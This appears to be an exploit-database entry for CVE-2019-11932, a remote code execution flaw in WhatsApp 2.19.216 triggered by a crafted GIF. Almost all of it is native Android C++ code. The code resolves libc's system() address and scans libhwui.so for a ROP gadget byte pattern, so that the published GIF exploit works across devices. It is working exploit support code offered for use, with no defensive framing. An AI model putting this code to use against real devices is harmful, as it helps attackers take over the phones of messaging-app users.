# Exploit Title: Whatsapp 2.19.216 - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Valerio Brussani (@val_brux)
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)
/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
*
*/
#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>
typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;
//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
int j;
const char *base = (const char *)info->dlpi_addr;
for (j = 0; j < info->dlpi_phnum; j++) {
const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
gadget_p = (char *) base + phdr->p_vaddr;
return 1;
}
}
return 0;
}
//system address
void* get_system_address(){
libc = dlopen("libc.so",RTLD_GLOBAL);
void* address = dlsym( libc, "system");
return address;
}
//rop gadget address
void get_gadget_lib_base_address() {
lib = dlopen("libhwui.so",RTLD_GLOBAL);
dl_iterate_phdr(dl_callback, NULL);
}
//search gadget
long search_for_gadget_offset() {
char *buffer;
long filelen;
char curChar;
long pos = 0; int curSearch = 0;
//reading file
FILE* fd = fopen("/system/lib64/libhwui.so","rb");
fseek(fd, 0, SEEK_END);
filelen = ftell(fd);
rewind(fd);
buffer = (char *)malloc((filelen+1)*sizeof(char));
fread(buffer, filelen, 1, fd);
fclose(fd);
//searching for bytes
byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
while(pos <= filelen){
curChar = buffer[pos];pos++;
if(curChar == g1[curSearch]){
curSearch++;
if(curSearch > 11){
curSearch = 0;
pos-=12;
break;
}
}
else{
curSearch = 0;
}
}
return pos;
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
char buff[30];
//system address
snprintf(buff, sizeof(buff), "%p", get_system_address());
dlclose(libc);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
char buff[30];
get_gadget_lib_base_address();
//gadget address
snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
dlclose(lib);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
